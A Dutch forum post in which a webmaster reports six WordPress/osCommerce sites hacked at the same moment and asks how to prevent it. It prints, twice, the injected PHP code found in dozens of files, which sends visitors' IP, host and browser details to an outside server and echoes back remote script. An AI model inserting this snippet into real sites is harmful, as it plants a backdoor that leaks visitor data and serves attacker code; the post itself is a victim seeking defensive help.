Vandaag kwam ik tot de onprettige ontdekking dat meerdere van mijn sites tegelijkertijd gehacked waren, tenminste dat denk ik.
6 sites op 6 verschillende servers bij verschillende providers ging tegelijkertijd uit de lucht. Nadat ik wat dingen vanuit backup heb teruggezet kreeg ik ze weer online. Er blijken tientallen bestanden met een stukje code te zijn 'geinfecteerd'. Hoewel de sites met elkaar onderling niks te maken hebben was het tijdstip van wijziging van de bestanden op alle sites hetzelfde, namelijk 23-03-2015 om 16:15 uur exact. In alle bestanden kreeg ik deze code random ergens tussen de normale code erbij:
<?php
#a662c2#
error_reporting(0); @ini_set('display_errors',0); $wp_wue43 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_wue43) && !preg_match ('/bot/i', $wp_wue43))){
$wp_wue0943="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wue43);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wue0943); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_43wue = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_43wue = @file_get_contents($wp_wue0943);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_43wue=@stream_get_contents(@fopen($wp_wue0943, "r"));}}
if (substr($wp_43wue,1,3) === 'scr'){ echo $wp_43wue; }
#/a662c2#
?>
Ik heb al verschillende onderdelen opgezocht maar kom nog niet echt verder. Heeft iemand een idee in welke richting ik moet zoeken om uit te vinden hoe ik dit kan voorkomen?
Mijn servers zijn eigenlijk allemaal anders, de php versies, het besturingssysteem. de enige overeenkomst is dat ze oscommerce en wordpress (allemaal behoorlijk up to date) bevatten.
edit: dit lijkt er wat op: http://stackoverflow.com/questions/24374357/php-hack-what-is-this-code-doing
6 sites op 6 verschillende servers bij verschillende providers ging tegelijkertijd uit de lucht. Nadat ik wat dingen vanuit backup heb teruggezet kreeg ik ze weer online. Er blijken tientallen bestanden met een stukje code te zijn 'geinfecteerd'. Hoewel de sites met elkaar onderling niks te maken hebben was het tijdstip van wijziging van de bestanden op alle sites hetzelfde, namelijk 23-03-2015 om 16:15 uur exact. In alle bestanden kreeg ik deze code random ergens tussen de normale code erbij:
<?php
#a662c2#
error_reporting(0); @ini_set('display_errors',0); $wp_wue43 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_wue43) && !preg_match ('/bot/i', $wp_wue43))){
$wp_wue0943="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wue43);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wue0943); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_43wue = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_43wue = @file_get_contents($wp_wue0943);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_43wue=@stream_get_contents(@fopen($wp_wue0943, "r"));}}
if (substr($wp_43wue,1,3) === 'scr'){ echo $wp_43wue; }
#/a662c2#
?>
Ik heb al verschillende onderdelen opgezocht maar kom nog niet echt verder. Heeft iemand een idee in welke richting ik moet zoeken om uit te vinden hoe ik dit kan voorkomen?

Mijn servers zijn eigenlijk allemaal anders, de php versies, het besturingssysteem. de enige overeenkomst is dat ze oscommerce en wordpress (allemaal behoorlijk up to date) bevatten.
edit: dit lijkt er wat op: http://stackoverflow.com/questions/24374357/php-hack-what-is-this-code-doing
[ Voor 4% gewijzigd door shotputty op 25-03-2015 17:48 ]
Mijn specs; Arm 47cm | Benchpress 175kg | Shotput 16,99m | BW 125kg